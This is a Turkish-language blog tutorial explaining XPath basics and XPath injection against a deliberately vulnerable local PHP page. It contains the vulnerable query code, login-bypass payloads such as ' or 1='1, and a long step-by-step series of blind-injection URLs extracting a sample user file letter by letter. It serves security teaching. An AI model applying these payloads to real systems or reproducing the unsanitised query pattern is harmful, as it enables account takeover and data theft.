Merhaba arkadaşlar yine yazı yazmak için bir boşluk yakaladım XPath Injection yıllardır yazmak istediğim bir konuydu fakat vakitsizlikten dolayı bir türlü yazamadım (Her gün veya iki günde bir blog yazan insanlar nasıl insanlarsınız hiç mi işiniz gücünüz yok <3 )
Yıllardır web tabanlı veya bir bir gözü webe bakan uygulama ve web
servis inceleyen/geliştiren/kodlayan/hackleyen biri olarak benim
gözümde XPath Regex den sonra geliştirilmiş en büyük nimetlerden biridir.
Not: Aşağıdaki yazı XPath Tutorial değildir sadece XPath Injectionu kavrayabilmeniz için XPath hakkında ön bilgidir.
XPath(XML Path Language) bir XML dökümanı içerisinden bilgi bulmaya/yakalamaya yarayan dildir w3c tarafından 1999 yılında(halen geliştirilmekte) geliştirilip standart haline getirilmiştir dil derken programlama dili aklınıza gelmesin "query language" diye adlandırılan sorgu dillerinden bir tanesidir.
Hemen hemen her programlama/script/betik dilinde ve
DMBS(mysql,oracle,mssql,postqresql vs..)da standart olarak XML
kütüphanesi ile birlikte kullanıma sunulmuştur
c,c++,vbasic,java,c#,python,ruby,php,javascript gibi aklınıza gelen
hemen her dilde kullanılabilir.
Son bir ekleme tıpkı XML gibi hierarşik yapıya sahip olan DOM nesneleri için Xpath kullanımı mevcuttur.
Teferruatlı teknik bilgi için => https://en.wikipedia.org/wiki/XPath ve https://www.w3.org/TR/xpath/ adreslerini kullanabilirsiniz.
Yazının sonuna kadar tek bir XML dökümanı üzerinden örnek vermek
istiyorum denemeleri ve örneklemeleri aşağıdaki XML dökümanını baz
alarak anlatacağım.
<!--yorumsatiri -->
<uye id="1">
<kullanici>admin</kullanici>
<sifre>12345</sifre>
<mail>ha@cker.io</mail>
</uye>
<uye id="2">
<kullanici>neco</kullanici>
<sifre>654321</sifre>
<mail>hij@cker.io</mail>
</uye>
<uye id="3">
<kullanici>baba</kullanici>
<sifre>789456</sifre>
<mail>tra@cker.io</mail>
</uye>
</uyeler>
Yukarıda yazılan XML Dökümanını xpath söz dizimine göre yorumlayacak olursak dökümandaki her bir düğüm veya düğüm içerisinde kalan değer yada özellik "node" olarak adlandırılır.
XPath söz diziminde 7 adet node vardır bunlar;
element="xml elemanı"
attribute="elemana ait özellik"
text="elemana ait değer (value olarak düşünülebilir)"
comment ="yorum satırı"
document nodes ="dökümanın tamamını ifade eder"
ve şuan işimize yaramayan namespace ve processing-instruction ı unutmayalım.
Yukarıda anlattıklarıma göre XML dökümanına tekrar baktığımda aşağıdaki gibi görüyorsak iş tamamdır ;)
<?xml version="1.0" encoding="UTF-8"?>
<!-- yorum -->
<uye id="1"> => node - eleman - attirube = id değer=1
<kullanici>admin</kullanici> => node - eleman değer=admin
<sifre>12345</sifre> => node - eleman değer=12345
<mail>ha@cker.io</mail> => node - eleman değer=h@cker.io
</uye>
<uye id="2"> => node -eleman - attirube = id değer=2
<kullanici>neco</kullanici> => node - eleman değer=neco
<sifre>654321</sifre> => node - eleman değer=654321
<mail>hij@cker.io</mail> => node - eleman değer=hij@cker.io
</uye>
<uye id="3"> =>node - eleman - attirube = id değer=3
<kullanici>baba</kullanici> => node - eleman değer=baba
<sifre>789456</sifre> => node - eleman değer=789456
<mail>tra@cker.io</mail> => node - eleman değer=tra@cker.io
</uye>
</uyeler>
Anlatılacak bir iki mevzu daha var fakat asıl amaçtan uzaklaşmamak için anlatmıyorum.
Kim kimin alt elemanı root eleman kim attribute değeri neresi gibi soruların cevabını bildiğimize göre artık XPath ile veri seçme işine başlayabiliriz.
Veri seçme işlemleri için php dilinde SimpleXML sınıfının yardımıyla bir script oluşturuyorum(dil önemli değil php şahsi tercihimdir)
En başta yazdığımız xml dökümanını işleyeceğiz yukardaki xml dökümanını test.xml olarak kaydediyorum ve aşağıdaki php kodunda görüldüğü gibi simplexml_load_file fonksiyonuna tanımlıyorum. Bu kod test.xml ile bir XML nesnesi oluşturacak ve nesne içerisinden xpath sorgusu ile arama yaptığımda inciğini cinciğini ekrana basacak böylece hangi sorguda hangi node dan ne almışız görebileceğiz.
$sorgu=$_GET["sorgu"];
$xpath=$xml->xpath($sorgu);
print_r($xpath);
?>
Sorgu değiştirirken her seferinde dosya düzenlememek için sorguyu GET ile alıyorum.
XPath da seçim yapma temelleri
Örnek vermek için söylüyorum daha önce jQuery yada javascript ile uğraşanlar mutlaka css yada dom selector kullanmıştır XPath selectorlerin amacı aynıdır bir elemanı bulmak yada bir değere sahip elemanı tespit etmek için kullanılır.
Yine örnek XML üzerinden selector yapısını inceleyelim.
Biraz daha komplike örnekler yapabiliriz fakat burda önemli olan tek slash "/" ve çift slash "//" ı ne zaman kullanacağımız
Eğer seçime root elemandan başlıyorsan tek slash ile root elemanı tanımlamamız gerek /uyeler eğer seçime root elemandan veya root olmayan bir elemandan başlıyorsak çift slash ile kullanmamız gerek //uye gibi //uyeler gibi root elemanı kullanabiliyoruz çünkü çift slashı yukarda yazdık dökümanın tamamında o elemanı arar bulur.
Aşağıdaki resimde bol bol örneklendirme yapmaya çalıştım ama çok sıkıcı iş hele bu saatte çekilmiyor.
XPath Temel Eksenler
Eksen XML dökümanında seçim yaparken hierarşiye göre seçim yapmayı ifade eder örnek olarak kullandığımız XML de kullanıcı adı "neco" olan üyenin üye id attributesini veya bağlı olduğu hierarşideki root elemanının adı gibi bilgileri yakınlık ilişkisiyle almamızı sağlar(bulabildiğim en basit ifade bu)
XPath Temel Operatörler
Operatörler aşağıdak gibidir aşırı derecede aşına olduğumuz gibi.
XPath Temel Fonksiyonlar
String Fonksiyonlar
string : Element nesnesini stringe çevirir
string-length : String içindeki karakter sayısını döndürür
concat : String birleştirir
contains: Tanımlı değeri içeren düğümü yada veriyi döndürür
substring :Belirlenen aralıklarda belirlenen karakter saysı kadar değer döndürür
Number Fonksiyonlar
number: Tanımlı girdiği number formatına çevirir
sum : Tanımlanan değerlerin toplamını döndürür
Boolean Fonksiyonlar
true : True döndürür
false : False döndürür
not : Tanımlı fonksiyon false dönüyorsa not değeri true döner yada tam tersi
boolean : Tanımlı değeri boolean formatına çevirir
Node-Set Fonksiyonlar: Node-set fonksiyonlar çıktı olarak bir düğüm yada düğüm kümesi veya hakkında bilgi döndürür .
count : Seçili düğümün kaç elemanı olduğunu döndürür
id : Uniq(benzersiz) id ile element seçimi yapar
last : Seçili elementin altındaki son elementini seçer veya döndürür.
position : Seçili düğümün index sırasını döndürür veya sırasına göre seçer
name : Elemen ismini döndürür
Tabiki koskoca XPath da 6 7 tane fonksiyon yok fakat her versiyonda çalışan fonksiyonları açıklamaya gayret gösterdim en başta söylediğim gibi bu yazı XPath Tutorial değildir
Artık bir araba yazı yazdığımıza göre ilk baştaki xml e göre /uyeler/uye/../child::node()[@id=1] sorgusu ile id attributesi 1 olan uye yi seçtiğimizi anlayabiliyor olmalıyız.
Bu kadar ön bilgiden sonra yazının esas oğlanı olan XPath Injectiona giriş yapıyoruz.
XPath Injection
XPath Injectionu (tüm Injection saldırılarında olduğu gibi) kullanıcıdan çeşitli HTTP metodlarıyla veri alan kısımlarda mevcut xpath sorgusuna saldırganın kendi sorgusunu eklemesi şeklinde açıklarsam yanlış olmaz sanırım.İlk sürüm olan XPath 1.0 ve devamında gelen XPath 2.0 ve 3.0 olmak üzre mevcut 3 versiyonu vardır versiyon yükseldikçe injection sorgusunda kullanabildiğimiz fonksiyon sayısı artmaktadır..
Yukarıda yazdığım php kodunu biraz düzenleyerek örnek XML dökümanımla birlikte bir üye bilgi sayfası simülasyonu yaptım.
Scriptin içindeki XPath sorgusu GET ile uye parametresinden yazılan üye adına ait bilgilerini sayfaya basıyor.
$xml->xpath("//uye[kullanici/text()='".$kullanici."']");
Şimdi XML in içeriğini bildiğimiz için diğer üye bilgilerini almak biraz anlamsız gözükebilir ama değil. Diyelimki sayfada xpath injection olduğunu bilmiyoruz ve parametreleri manipüle ederek birşeyler bulmaya çalışıyoruz, sorguyu taşırıp ' or 1=1 ' and 1=1 ' or 1='1 ' and '1'='1 gibi denemelerle sorguya ekleme yapıp yeniden true döndürdük diyelim bunun sql injection değilde xpath injection olduğunu anlayabilmemiz için position() fonksiyonunu kullanıyoruz(tabiki şart değil ama sql injection zannedip sorgu kastığınızda bura sorgu yemiyor diye xpath injection ihtimalini gözardı etmemek gerek)
->xpath("//uye[kullanici/text()='neco' and 1='1']");
->xpath("//uye[kullanici/text()='neco' or 1='1']");
Yukarıdaki gibi sorgumuzu düzgün şekilde sonlandırdığımızda true sonuç alabiliyoruz ->xpath("//uye[kullanici/text()='neco' or 1='1']"); ile index sırasındaki ilk üyenin bilgileri sayfaya basılıyor.(Authentication bypass yada login bypass olarak düşünülebilir)
ve position() fonksiyonu ile XPath Injectionu doğruluyoruz. position() a tanımlı değeri değiştirip diğer kullanıcıların bilgileri okunabilir.
XPath versiyon tespiti : XPath versiyon tespiti için XPath 1.0 da olmayan upper-case() veya lower-case() fonksiyonlarını kullanıyoruz matches().veya doc() fonksiyonunuda kullanabiliriz ama parametreleri kalabalık olduğu için pratik değil.
XPath versiyon 2 olsaydı true dönecekti fakat şuan muhtemelen errorlog da böyle bir fonksiyon yok hatası var.
Şimdi fark ettim benim sunucuda php için xpath2 desteği yokmuş amk biton yazı yazdık çöp olmasın bu dökümanı XPath 1.0 a göre anlatayım sunucuya saxon kurup 2.0 için yazıyı daha sonra güncellerim.
Blind XPath Injection
XPath injection mantık olarak sql injectiona benzesede pratikte işler sql injection gibi yürümüyor sorgu yapmak için sql deki gibi sistem tabloları bulunmuyor e XML nin de syntax haricinde bir standardı yok bu sebepten XPath injection ile sayfaya basılmayan değerleri veya XML dökümanının tamamına erişebilmek için root elemandan başlayıp en içe doğru eleman adı,elemanın alt elemanlarının adı , elemanların attribute değerleri,yorum satırları ve text değerlerini XPath 1.0 da sadece substring() fonksiyonu ile harf harf okuyabiliyoruz.
Benim işlem sıram şu şekilde
- Tüm root elemanları seçip /* önce kaç tane root eleman var onu buluyorum count(/*)
- İlk elemanın ismini seçip name(/*[1]) eleman kaç karakter onu buluyorum string-length(name(/*[1]))
- Harf harf elemanın adını okuyorum substring(name(/*[1]),1,1)
- Elemanda attribute varmı varsa kaç tane diye bakıyorum count(/*[1]/@*)
- Attribute varsa kaç karakter string-length(name(/*[1]/@*))
- Attributeyi harf harf okuyorum substring(name(/*[1]/@*),1,1)
- Elemanda yorum satırı varmı varsa kaç tane count(/*[1]/comment())
- Yorum satırı varsa kaç karakter string-length(name(/*[1]/comment()))
- Yorum satırını harf harf okuyorum substring(name(/*[1]/comment()))
ve bu işlemleri tüm alt elemanlar için count 0 ı yakalayıncaya yapıyoruz :)
Örnek XML dökümanını xpath injection ile keşfetmeye başlayalım.
1.localhost/xpath/index2.php?uye=neco' or count(/*)='0 => false
localhost/xpath/index2.php?uye=neco' or count(/*)='1 => true tek bir root eleman varmış
2.localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='0 =>false
localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='1 =>false
localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='2 =>false
localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='3 =>false
localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='4 =>false
localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='5 =>false
localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]))='6 =>true root eleman 6 karakterliymiş
3.localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),1,1)='a => false
localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),1,1)='b => true
localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),1,1)='u => true
localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),2,1)='y => true
localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),3,1)='e => true
localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),4,1)='l => true
localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),5,1)='e => true
localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]),6,1)='r => true
root elemanı bulduk uyeler
4.Attributesi yok biliyorum boşa vakit harcamak istemiyorum yorum satırına geçiyorum
localhost/xpath/index2.php?uye=neco' or count(/*[1]/comment())='0 => false
localhost/xpath/index2.php?uye=neco' or count(/*[1]/comment())='1 => true uyeler elemanının altında 1 tane yorum satırı var
5.localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])='0 => false
localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])>'0 => true
localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])>'5 => true
localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])>'10 =>true
localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])>'11 => false
localhost/xpath/index2.php?uye=neco' or string-length(/*[1]/comment()[1])='11 => true bulduk yorum satırı 11 karaktermiş.
6.localhost/xpath/index2.php?uye=neco' or substring(/*[1]/comment()[1],1,1)='a => false
localhost/xpath/index2.php?uye=neco' or substring(/*[1]/comment()[1],1,1)='y => true
localhost/xpath/index2.php?uye=neco' or substring(/*[1]/comment()[1],2,1)='o => true
11 karakter içinde yaptım sayıyorum B-)
Yorum satırımız <!--yorumsatiri-->
localhost/xpath/index2.php?uye=neco' or substring(/*[1]/comment()[1],1,11)='yorumsatiri => true
Video çekmediğime pişman oldum aşırı uzun oldu root elemanın alt elemanları içinde aynı işlemleri yapıyoruz şu ana kadar XML nin bulduğumuz kısmı aşağıdaki gibi.
<uyeler>
<!--yorumsatiri-->
</uyeler>
Alt elemanlar için biraz yazıyı hızlandırıyorum :
localhost/xpath/index2.php?uye=neco' or count(/*[1]/*)='3 => uyeler elemanın altında 3 tane alt eleman varmış.
localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]/*[1]))='3 => eleman adı 3 karakterliymiş
localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]/*[1]),1,3)='uye => eleman adı uye imiş
localhost/xpath/index2.php?uye=neco' or count(/*[1]/*[1]/@*)='1 => uye elemanının 1 attributesi varmış
localhost/xpath/index2.php?uye=neco' or string-length(name(/*[1]/*[1]/@*[1]))='2 => uye elemanının attributesi 2 karakterliymiş
localhost/xpath/index2.php?uye=neco' or substring(name(/*[1]/*[1]/@*[1]),1,2)='id => ve attribute adı id imiş
localhost/xpath/index2.php?uye=neco' or substring(/*[1]/*[1]/@*[1],1,1)='1 => id attributesinin değeri 1 miş
Çektiğimiz XML dökümanının bizdeki son hali
<uyeler>
<!--yorumsatiri-->
<uye id="1">
</uye>
</uyeler>
Aynı şekilde kullanıcı , şifre ve mail değerini çektiğimizi varsayıyorum ve hatta uye="2" ve uye="3" için bu işlemleri yaptığımızı varsayıyorum yoksa yazı bitmeyecek.
Son olarak uye="1" için mail değerini çekelim.
localhost/xpath/index2.php?uye=neco' or substring(/*[1]/*[1]/*[3]/text(),2,1)='a => true 11. karakteri de bulduğumuzda ha@cker.io mailini almış oluyoruz
Dıştan içe doğru elemanları belirledikçe sorguya onları ekleyebiliyoruz belirsizlik içinde çalışmamıza gerek yok
localhost/xpath/index2.php?uye=neco' or substring(//uye[1]/mail/text(),2,1)='a
Temel olarak XPath ve XPath 1.0 da Injection saldırılarını anlatmaya çalıştım bir çok fonksiyonu kullanamadım bile buraya kadar okuduysanız bugün yazamadığım XPath 2.0 için spoiler veriyorum.
XPath 2.0 da 1.0 a nazaran biraz daha imkanlar geniş
Sunucuya saxon kurar kurmaz yazıyı güncelleyeceğim.
base-uri() fonksiyonu ile xml kaynağının dizin ve dosya adı ile birlikte tam yolunu bulma ve dosya sistemine göre işletim sistemini tespit etme.
matches() fonksiyonu ile karakter aralıklarını tespit etme (eleman büyük harfmi yarısı büyük birazı küçükmü gibi)
error() fonksiyonu ile error based xpath injection
doc() ve concat() fonksiyonları ile XPath ile HTTP ve DNS requesti oluşturma ve loglama işlemleri yapma gibi olaylar XPath 2.0 ın nimetleri.
Şimdi yukarıda yaptığımız olayları kocaman kocaman datalar için gerçekleştirdiğinizi hayal edin ve UYUYUN!
18 Mayıs 2016 Çarşamba Saat: 02:05
Son olarak yazıda azım yanlışları,yanlış bilgi ve gerçekte olmayan hayal gücümün ürünü bir şey varsa mail atın hallederiz.
#don't be evil!
#4ewa2getha!
0 comments:
Yorum Gönder